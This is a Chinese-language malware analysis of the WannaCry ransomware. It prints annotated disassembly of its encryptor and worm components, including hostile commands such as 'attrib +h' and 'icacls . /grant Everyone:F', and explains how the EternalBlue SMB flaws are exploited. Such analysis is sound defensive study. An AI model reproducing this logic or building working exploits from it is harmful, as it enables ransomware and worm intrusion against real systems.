wannacry勒索病毒分析
 wannacry是一个勒索病毒,使用永恒之蓝进行传播。
taskche.exe
 此程序主要负责对磁盘文件加密。
 分析winmain函数流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144
   | .text:00401FE7                 push    ebp .text:00401FE8                 mov     ebp, esp .text:00401FEA                 sub     esp, 6E4h .text:00401FF0                 mov     al, byte_40F910 .text:00401FF5                 push    ebx .text:00401FF6                 push    esi .text:00401FF7                 push    edi .text:00401FF8                 mov     [ebp+Filename], al .text:00401FFE                 mov     ecx, 81h .text:00402003                 xor     eax, eax .text:00402005                 lea     edi, [ebp+var_20B] .text:0040200B                 rep stosd .text:0040200D                 stosw .text:0040200F                 stosb                   ; 初始化局部变量 .text:00402010                 lea     eax, [ebp+Filename] .text:00402016                 push    208h            ; nSize .text:0040201B                 xor     ebx, ebx .text:0040201D                 push    eax             ; lpFilename .text:0040201E                 push    ebx             ; hModule .text:0040201F                 call    ds:GetModuleFileNameA ; 获取当前进程路径 .text:00402025                 push    offset DisplayName .text:0040202A                 call    random_string   ; 调用函数产生随机字符串,当做服务名称 .text:0040202F                 pop     ecx .text:00402030                 call    ds:__p___argc .text:00402036                 cmp     dword ptr [eax], 2 .text:00402039                 jnz     short loc_40208E .text:0040203B                 push    offset aI       ; "/i" .text:00402040                 call    ds:__p___argv .text:00402046                 mov     eax, [eax] .text:00402048                 push    dword ptr [eax+4] ; Str1 .text:0040204B                 call    strcmp .text:00402050                 pop     ecx .text:00402051                 test    eax, eax .text:00402053                 pop     ecx .text:00402054                 jnz     short loc_40208E .text:00402056                 push    ebx             ; wchar_t * .text:00402057                 call    sub_401B5F .text:0040205C                 test    eax, eax .text:0040205E                 pop     ecx .text:0040205F                 jz      short loc_40208E .text:00402061                 mov     esi, offset FileName ; "tasksche.exe" .text:00402066                 push    ebx             ; bFailIfExists .text:00402067                 lea     eax, [ebp+Filename] .text:0040206D                 push    esi             ; lpNewFileName .text:0040206E                 push    eax             ; lpExistingFileName .text:0040206F                 call    ds:CopyFileA    ; 拷贝自身副本,命名为tasksche.exe .text:00402075                 push    esi             ; lpFileName .text:00402076                 call    ds:GetFileAttributesA .text:0040207C                 cmp     eax, 0FFFFFFFFh .text:0040207F                 jz      short loc_40208E .text:00402081                 call    create_service_mutex ; 创建服务和互斥体防止重复感染 .text:00402086                 test    eax, eax .text:00402088                 jnz     loc_402165 .text:0040208E .text:0040208E loc_40208E:                             ; CODE XREF: WinMain(x,x,x,x)+52↑j .text:0040208E                                         ; WinMain(x,x,x,x)+6D↑j ... .text:0040208E                 mov     esi, ds:strrchr .text:00402094                 lea     eax, [ebp+Filename] .text:0040209A                 push    5Ch ; '\'       ; Ch .text:0040209C                 push    eax             ; Str .text:0040209D                 call    esi ; strrchr .text:0040209F                 pop     ecx .text:004020A0                 test    eax, eax .text:004020A2                 pop     ecx .text:004020A3                 jz      short loc_4020B4 .text:004020A5                 lea     eax, [ebp+Filename] .text:004020AB                 push    5Ch ; '\'       ; Ch .text:004020AD                 push    eax             ; Str .text:004020AE                 call    esi ; strrchr .text:004020B0                 pop     ecx .text:004020B1                 mov     [eax], bl .text:004020B3                 pop     ecx .text:004020B4 .text:004020B4 loc_4020B4:                             ; CODE XREF: WinMain(x,x,x,x)+BC↑j .text:004020B4                 lea     eax, [ebp+Filename] .text:004020BA                 push    eax             ; lpPathName .text:004020BB                 call    ds:SetCurrentDirectoryA ; 设置当前工作目录 .text:004020C1                 push    1 .text:004020C3                 call    write_reg       ; 写入当前工作目录到注册表:HKEY_LOCAL_MACHINE\Software\WanaCrypt0r\wd .text:004020C8                 mov     [esp+6F4h+Str], offset Str ; "WNcry@2ol7" .text:004020CF                 push    ebx             ; hModule .text:004020D0                 call    release_files   ; 释放文件到当前工作目录 .text:004020D5                 call    write_cwnry     ; 写入比特币账户到c.wnry .text:004020DA                 push    ebx             ; lpExitCode .text:004020DB                 push    ebx             ; dwMilliseconds .text:004020DC                 push    offset CommandLine ; "attrib +h ." .text:004020E1                 call    exce_cmd        ; 执行命令行,隐藏所有文件 .text:004020E6                 push    ebx             ; lpExitCode .text:004020E7                 push    ebx             ; dwMilliseconds .text:004020E8                 push    offset aIcaclsGrantEve ; "icacls . /grant Everyone:F /T /C /Q" .text:004020ED                 call    exce_cmd        ; 执行命令行,创建Everyone账户 .text:004020F2                 add     esp, 20h .text:004020F5                 call    get_api_address .text:004020FA                 test    eax, eax .text:004020FC                 jz      short loc_402165 .text:004020FE                 lea     ecx, [ebp+var_6E4] .text:00402104                 call    Construct       ; 调用构造函数,初始化临界区 .text:00402109                 push    ebx             ; int .text:0040210A                 push    ebx             ; int .text:0040210B                 push    ebx             ; lpFileName .text:0040210C                 lea     ecx, [ebp+var_6E4] .text:00402112                 call    importkey_and_alloc ; 导入rsa秘钥,并申请0x100000内存空间 .text:00402117                 test    eax, eax .text:00402119                 jz      short loc_40215A .text:0040211B                 lea     eax, [ebp+var_4] .text:0040211E                 lea     ecx, [ebp+var_6E4] .text:00402124                 push    eax             ; int .text:00402125                 push    offset aTWnry   ; "t.wnry" .text:0040212A                 mov     [ebp+var_4], ebx .text:0040212D                 call    dcrypt_twnry    ; 解密t.wnry文件 .text:00402132                 cmp     eax, ebx .text:00402134                 jz      short loc_40215A .text:00402136                 push    [ebp+var_4]     ; int .text:00402139                 push    eax             ; Src .text:0040213A                 call    load_dll        ; 解密文件并加载到内存 .text:0040213F                 pop     ecx .text:00402140                 cmp     eax, ebx        ; 返回值为dll内存地址 .text:00402142                 pop     ecx .text:00402143                 jz      short loc_40215A .text:00402145                 push    offset Str1     ; "TaskStart" .text:0040214A                 push    eax             ; int .text:0040214B                 call    get_proc_address ; 遍历导出表获取导出函数TaskStart地址 .text:00402150                 pop     ecx .text:00402151                 cmp     eax, ebx .text:00402153                 pop     ecx .text:00402154                 jz      short loc_40215A .text:00402156                 push    ebx .text:00402157                 push    ebx .text:00402158                 call    eax             ; 调用TaskStart导出函数 .text:0040215A .text:0040215A loc_40215A:                             ; CODE XREF: WinMain(x,x,x,x)+132↑j .text:0040215A                                         ; WinMain(x,x,x,x)+14D↑j ... .text:0040215A                 lea     ecx, [ebp+var_6E4] .text:00402160                 call    destruct        ; 调用析构函数,释放资源 .text:00402165 .text:00402165 loc_402165:                             ; CODE XREF: WinMain(x,x,x,x)+A1↑j .text:00402165                                         ; WinMain(x,x,x,x)+115↑j .text:00402165                 pop     edi .text:00402166                 pop     esi .text:00402167                 xor     eax, eax .text:00402169                 pop     ebx .text:0040216A                 leave .text:0040216B                 retn    10h .text:0040216B _WinMain@16     endp
   | 
 
 总结一下,初始化流程为:
Step1:复制自身副本,命名为tasksche.exe,创建服务与互斥体,防止重复感染。
Step2:设置当前工作目录。
Step3:将当前工作目录写入注册表。
Step4:释放资源文件到当前工作目录,并将勒索的比特币账户写入c.wnry。
Step5:执行attrb +h命令,隐藏所有文件。
Step6:执行icacls ./grant Everyone:F /T /C /Q命令,创建Everyone账户。
Step7:导入rsa密钥并申请0x100000内存。
Step8:解密t.wnry文件,并将解密后的文件加载到内存。遍历导出表获取导出函数TaskStart的地址并调用,启动病毒核心代码。
 其中,release_files函数会产生多种资源文件,包括b.wnry(图片资源)、c.wnry(比特币账户)、r.wnry(勒索文档)、s.wnry(用于组建tor网络)、t.wnry(病毒核心代码dll)、u.wnry(解密器)、taskse.exe(提权)、taskdl.exe(删除临时文件与回收站的文件)。
 而write_cwnry函数,则是从3个比特币账户中随机挑选一个并写入c.wnry文件。get_api_address则是动态获取文件相关的API函数,例如CreateFileW、WriteFile等,并在其中调用get_advapi32_address来加载advapi32.dll,获取加密算法相关的API。
 其中,importkey_and_alloc函数用于导入RSA密钥,并在dcrypt_twnry函数中解密核心代码。而load_dll函数则是解析刚才解密的核心代码,将解密的代码加载入堆空间。
 之后,病毒开始真正运行,其流程为:
(1)创建00000000.pky写入RSA公钥、00000000.eky写入私钥、00000000.res写入随机数与当前时间,用于加密文件。
(2)遍历磁盘所有文件并加密。加密流程为:
  (a)导入病毒公钥1,生成公钥2保存到00000000.pky与私钥2,将私钥2使用公钥1加密并保存到00000000.eky。
  (b)遍历每一个文件,生成密钥3,并加密文件数据。使用公钥2加密密钥3,并将加密的AES密钥写入到被加密的文件中。
mssecsvc.exe蠕虫
 有了taskche.exe,我们还需要用蠕虫将此程序分发到受害者主机上。蠕虫无需计算机使用者干预即可独立运行,其通过获取网络中存在的漏洞进行传播。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
   | .text:00408140                 sub     esp, 50h .text:00408143                 push    esi .text:00408144                 push    edi .text:00408145                 mov     ecx, 0Eh .text:0040814A                 mov     esi, offset aHttpWwwIuqerfs ; "http://www.iuqerfsodp9ifjaposdfjhgosuri"... .text:0040814F                 lea     edi, [esp+58h+szUrl] .text:00408153                 xor     eax, eax .text:00408155                 rep movsd .text:00408157                 movsb .text:00408158                 mov     [esp+58h+var_17], eax .text:0040815C                 mov     [esp+58h+var_13], eax .text:00408160                 mov     [esp+58h+var_F], eax .text:00408164                 mov     [esp+58h+var_B], eax .text:00408168                 mov     [esp+58h+var_7], eax .text:0040816C                 mov     [esp+58h+var_3], ax .text:00408171                 push    eax             ; dwFlags .text:00408172                 push    eax             ; lpszProxyBypass .text:00408173                 push    eax             ; lpszProxy .text:00408174                 push    1               ; dwAccessType .text:00408176                 push    eax             ; lpszAgent .text:00408177                 mov     [esp+6Ch+var_1], al .text:0040817B                 call    ds:InternetOpenA .text:00408181                 push    0               ; dwContext .text:00408183                 push    84000000h       ; dwFlags .text:00408188                 push    0               ; dwHeadersLength .text:0040818A                 lea     ecx, [esp+64h+szUrl] .text:0040818E                 mov     esi, eax .text:00408190                 push    0               ; lpszHeaders .text:00408192                 push    ecx             ; lpszUrl .text:00408193                 push    esi             ; hInternet .text:00408194                 call    ds:InternetOpenUrlA ; 访问域名,访问成功放弃病毒感染 .text:0040819A                 mov     edi, eax .text:0040819C                 push    esi             ; hInternet .text:0040819D                 mov     esi, ds:InternetCloseHandle .text:004081A3                 test    edi, edi .text:004081A5                 jnz     short loc_4081BC .text:004081A7                 call    esi ; InternetCloseHandle .text:004081A9                 push    0               ; hInternet .text:004081AB                 call    esi ; InternetCloseHandle .text:004081AD                 call    being .text:004081B2                 pop     edi .text:004081B3                 xor     eax, eax .text:004081B5                 pop     esi .text:004081B6                 add     esp, 50h .text:004081B9                 retn    10h .text:004081BC ; --------------------------------------------------------------------------- .text:004081BC .text:004081BC loc_4081BC:                             ; CODE XREF: WinMain(x,x,x,x)+65↑j .text:004081BC                 call    esi ; InternetCloseHandle .text:004081BE                 push    edi             ; hInternet .text:004081BF                 call    esi ; InternetCloseHandle .text:004081C1                 pop     edi .text:004081C2                 xor     eax, eax .text:004081C4                 pop     esi .text:004081C5                 add     esp, 50h .text:004081C8                 retn    10h .text:004081C8 _WinMain@16     endp
   | 
 
 如上所示,病毒访问http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com,若访问成功,则放弃感染(说明已经感染)。在being函数中判断命令参数数量,若小于2,则调用create_and_start_service,否则启动mssecsvc2.0服务。
 先看create_and_start_service函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
   | // create_and_start_service .text:00407F20 create_and_start_service proc near      ; CODE XREF: being+20↓p .text:00407F20                 call    create_service .text:00407F25                 call    release_file    ; 释放病毒勒索程序tasksche.exe .text:00407F2A                 xor     eax, eax .text:00407F2C                 retn .text:00407F2C create_and_start_service endp
  // create_service .text:00407C40 create_service  proc near               ; CODE XREF: create_and_start_service↓p .text:00407C40 .text:00407C40 Dest            = byte ptr -104h .text:00407C40 .text:00407C40                 sub     esp, 104h .text:00407C46                 lea     eax, [esp+104h+Dest] .text:00407C4A                 push    edi .text:00407C4B                 push    offset FileName .text:00407C50                 push    offset Format   ; "%s -m security" .text:00407C55                 push    eax             ; Dest .text:00407C56                 call    ds:sprintf      ; 格式化服务参数 .text:00407C5C                 add     esp, 0Ch .text:00407C5F                 push    0F003Fh         ; dwDesiredAccess .text:00407C64                 push    0               ; lpDatabaseName .text:00407C66                 push    0               ; lpMachineName .text:00407C68                 call    ds:OpenSCManagerA ; 打开服务管理器 .text:00407C6E                 mov     edi, eax .text:00407C70                 test    edi, edi .text:00407C72                 jz      short loc_407CCA .text:00407C74                 push    ebx .text:00407C75                 push    esi .text:00407C76                 push    0               ; lpPassword .text:00407C78                 push    0               ; lpServiceStartName .text:00407C7A                 push    0               ; lpDependencies .text:00407C7C                 push    0               ; lpdwTagId .text:00407C7E                 lea     ecx, [esp+120h+Dest] .text:00407C82                 push    0               ; lpLoadOrderGroup .text:00407C84                 push    ecx             ; lpBinaryPathName .text:00407C85                 push    1               ; dwErrorControl .text:00407C87                 push    2               ; dwStartType .text:00407C89                 push    10h             ; dwServiceType .text:00407C8B                 push    0F01FFh         ; dwDesiredAccess .text:00407C90                 push    offset DisplayName ; "Microsoft Security Center (2.0) Service" .text:00407C95                 push    offset ServiceName ; "mssecsvc2.0" .text:00407C9A                 push    edi             ; hSCManager .text:00407C9B                 call    ds:CreateServiceA ; 创建"mssecsvc2.0"服务 .text:00407CA1                 mov     ebx, ds:CloseServiceHandle .text:00407CA7                 mov     esi, eax .text:00407CA9                 test    esi, esi .text:00407CAB                 jz      short loc_407CBB .text:00407CAD                 push    0               ; lpServiceArgVectors .text:00407CAF                 push    0               ; dwNumServiceArgs .text:00407CB1                 push    esi             ; hService .text:00407CB2                 call    ds:StartServiceA ; 启动服务 .text:00407CB8                 push    esi             ; hSCObject .text:00407CB9                 call    ebx ; CloseServiceHandle ; 关闭服务句柄 .text:00407CBB .text:00407CBB loc_407CBB:                             ; CODE XREF: create_service+6B↑j .text:00407CBB                 push    edi             ; hSCObject .text:00407CBC                 call    ebx ; CloseServiceHandle ; 关闭服务句柄 .text:00407CBE                 pop     esi .text:00407CBF                 pop     ebx .text:00407CC0                 xor     eax, eax .text:00407CC2                 pop     edi .text:00407CC3                 add     esp, 104h .text:00407CC9                 retn .text:00407CCA ; --------------------------------------------------------------------------- .text:00407CCA .text:00407CCA loc_407CCA:                             ; CODE XREF: create_service+32↑j .text:00407CCA                 xor     eax, eax .text:00407CCC                 pop     edi .text:00407CCD                 add     esp, 104h .text:00407CD3                 retn .text:00407CD3 create_service  endp
   | 
 
 可以看到,create_and_start_service函数首先创建mssecsvc2.0服务并启动,接下来释放tasksche.exe并启动。
 mssecsvc2.0服务则负责发送漏洞攻击代码,攻击其他主机,如下所示:


 由此,进入service_entry函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
   | .text:00407BD0 service_entry   proc near               ; CODE XREF: service_main+74↓p .text:00407BD0                 call    init_payload .text:00407BD5                 test    eax, eax .text:00407BD7                 jnz     short loc_407BDA .text:00407BD9                 retn .text:00407BDA ; --------------------------------------------------------------------------- .text:00407BDA .text:00407BDA loc_407BDA:                             ; CODE XREF: service_entry+7↑j .text:00407BDA                 push    ebx .text:00407BDB                 push    ebp .text:00407BDC                 push    esi .text:00407BDD                 push    edi .text:00407BDE                 mov     edi, ds:_beginthreadex .text:00407BE4                 push    0 .text:00407BE6                 push    0 .text:00407BE8                 push    0 .text:00407BEA                 push    offset scan_lan .text:00407BEF                 push    0 .text:00407BF1                 push    0 .text:00407BF3                 call    edi ; _beginthreadex ; 创建线程扫描局域网,利用漏洞传播病毒 .text:00407BF5                 mov     ebp, ds:CloseHandle .text:00407BFB                 add     esp, 18h .text:00407BFE                 test    eax, eax .text:00407C00                 jz      short loc_407C05 .text:00407C02                 push    eax             ; hObject .text:00407C03                 call    ebp ; CloseHandle .text:00407C05 .text:00407C05 loc_407C05:                             ; CODE XREF: service_entry+30↑j .text:00407C05                 mov     ebx, ds:Sleep .text:00407C0B                 xor     esi, esi .text:00407C0D .text:00407C0D loc_407C0D:                             ; CODE XREF: service_entry+65↓j .text:00407C0D                 push    0 .text:00407C0F                 push    0 .text:00407C11                 push    esi .text:00407C12                 push    offset scan_wan .text:00407C17                 push    0 .text:00407C19                 push    0 .text:00407C1B                 call    edi ; _beginthreadex ; 创建线程扫描广域网,利用漏洞传播病毒 .text:00407C1D                 add     esp, 18h .text:00407C20                 test    eax, eax .text:00407C22                 jz      short loc_407C27 .text:00407C24                 push    eax             ; hObject .text:00407C25                 call    ebp ; CloseHandle .text:00407C27 .text:00407C27 loc_407C27:                             ; CODE XREF: service_entry+52↑j .text:00407C27                 push    7D0h            ; dwMilliseconds .text:00407C2C                 call    ebx ; Sleep .text:00407C2E                 inc     esi .text:00407C2F                 cmp     esi, 80h ; '€' .text:00407C35                 jl      short loc_407C0D .text:00407C37                 pop     edi .text:00407C38                 pop     esi .text:00407C39                 pop     ebp .text:00407C3A                 xor     eax, eax .text:00407C3C                 pop     ebx .text:00407C3D                 retn .text:00407C3D service_entry   endp
   | 
 
 可以看到,此函数首先初始化payload,之后创建线程执行利用漏洞传播病毒的代码。其中,首先分析init_payload,其中SMB攻击代码逻辑为:释放蠕虫程序,创建进程并执行代码。其次,scan_lan函数则是检查445端口是否开启,若果开启则发送SMB攻击代码。最后,病毒扫描网段判断是否开启SMB协议,若开启则攻击。
永恒之蓝MS17-010漏洞分析
 此漏洞主要利用了微软的3个缺陷。SMB是一个网络文件共享协议,允许应用程序从远端的文件服务器访问文件资源。该漏洞由SMB_COM_TRANSACTION2(0x32)触发,SMB格式如下所示:
(1)协议头
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | SMB_Header{     UCHAR Protocol[4];     UCHAR Command;     SMB_ERROR Status;     UCHAR  Flags;     USHORT Flags2;     USHORT PIDHigh;     UCHAR  SecurityFeatures[8];     USHORT Reserved;     USHORT TID;     USHORT PIDLow;     USHORT UID;     USHORT MID;	 }
  | 
 
(2)协议参数:
1 2 3 4
   | SMB_Parameters{     UCHAR  WordCount;     USHORT Words[WordCount] (variable); }
  | 
 
(3)协议数据:
1 2 3 4
   | SMB_Data{     USHORT ByteCount;     UCHAR  Bytes[ByteCount] (variable); } 
  | 
 
(4)对于SMB_COM_TRANSACTION2(0x32)命令协议,其协议参数与数据格式为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
   | SMB_Parameters{     UCHAR  WordCount;     Words{         USHORT TotalParameterCount;         USHORT TotalDataCount;         USHORT MaxParameterCount;         USHORT MaxDataCount;         UCHAR  MaxSetupCount;         UCHAR  Reserved1;         USHORT Flags;         ULONG  Timeout;         USHORT Reserved2;         USHORT ParameterCount;         USHORT ParameterOffset;         USHORT DataCount;         USHORT DataOffset;         UCHAR  SetupCount;         UCHAR  Reserved3;         USHORT Setup[SetupCount];     } }  SMB_Data{     USHORT ByteCount;{         UCHAR Name;         UCHAR Pad1[];         UCHAR Trans2_Parameters[ParameterCount];         UCHAR Pad2[];         UCHAR Trans2_Data[DataCount];     } }
  | 
 
(5)对于SMB_COM_TRANSACTION2(0x32)命令协议,其数据包中FEALIST的格式:

利用步骤1  srv.sys的SrvOs2FeaListToNt函数

 此函数用于实现FEALIST转换为对应的NTFEALIST,函数调用SrvOs2FeaListSizeToNt计算FEALIST的长度,但是该函数将cbList的4字节长度保存为2字节长度,导致攻击者可以伪造超长的size,从而导致在之后的SrcOs2FeaToNt池溢出。
 由于溢出导致对srvnet.sys分配的srvnet对象内存越界写入,其中覆盖了此对象的srvnet_recv(该指针将会在smb连接结束或断开时被用于寻址函数地址)与MDL,因此可以在某地址写入shellcode。因此覆盖并控制MDL将导致之后的tcp栈实现任意写入伪造对象的操作,覆盖并控制该指针可用于将其指向一个攻击者控制的伪造对象,此时断开smb连接即可导致代码执行。
 如上述漏洞所示可以导致一次越界写,但其前提是FEA LIST的长度必须大于10000,通过分析可以发现FEA LIST只存在于SMB_COM_TRANSACTION2命令的子命令中。如上所示,TotalDataCount是USHORT的,那么,如果发送的数据大小大于0xffff,则会导致溢出。那么,如何发送大于0xffff的数据?
 就要利用SMB_COM_TRANSACTION_SECONDARY(0x26)的漏洞。通过抓包可以发现此处发送的并不是SMB_COM_TRANSACTION2子命令的请求包,而是SMB_COM_NT_TRANSACT子命令的请求包,而SMB_COM_NT_TRANSACT子命令中TotalDataCount的类型为ULONG,支持发送大于0xFFFF长度的数据包。
 但是SMB_COM_NT_TRANSACT本身是不支持FEALIST的,这里就涉及到SMB_COM_TRANSACTION_SECONDARY(0x26)的漏洞。
 在此补充一下,SMB的子命令中存在一个名为TRANSACTION系列的命令:
(1)SMB_COM_TRANSACTION:用于和邮槽、命名管道进行通信
(2)SMB_COM_TRANSACTION2:用于打开或创建一个共享文件或文件夹,设置它们的扩展属性
(3)SMB_COM_NT_TRANSACT:用于打开或创建一个文件或文件夹,并应用扩展属性EA或安全描述符SD
 其中产生漏洞的即为对应的SMB_COM_TRANSACTION2命令。对于TRANSACTION系列的命令,如果发送的长度过大,SMB会将该请求包拆分成Second的形式进行发送,如下所示为其相应的Second系列的命令。
 服务端根据SMB请求头部的TIP,PID,UID,MID确定哪一个Second属于对应的transtion,而服务端根据最后一个Second确定对应的transtion类型,即如果最后一个Second为SMB_COM_TRANSACTION2_SECONDARY,就按SMB_COM_TRANSACTION2来处理。对于一个transaction,如果没有发送完,后续会跟上对应的Second数据包,服务端不会检查对应的Second类型,只要保证其TIP,PID,UID,MID匹配,服务端就会将这些数据重新组装还原成一个transaction,而类型由最后一个Second决定。
漏洞变种3
 为了操纵被溢出的池,该病毒使用内核池喷射技术喷射srvnet对象,该病毒利用SMB_COM_SESSION_SETUP_ANDX(0x73)命令的漏洞进行稳定喷射。在BlockingSessionSetupAndX函数中,如果发送的SMB_COM_SESSION_SETUP_ANDX(0x73)请求中wordcount的类型为12且数据包中的SMB_Parameters的Capabilities含有CAP_EXTENDED_SECURITY标志,但没有FLAGS2_EXTENDED_SECURITY标志,系统会错误的将类型为12的数据包当作类型为13的数据包进行处理,导致服务端从错误的位置读取ByteCount值。因为ByteCount用来计算缓冲区的大小,因此接下来的GetNtSecurityParameters会计算出一个错误的大小,病毒据此控制SrvAllocateNonPagedPool申请内存值的大小。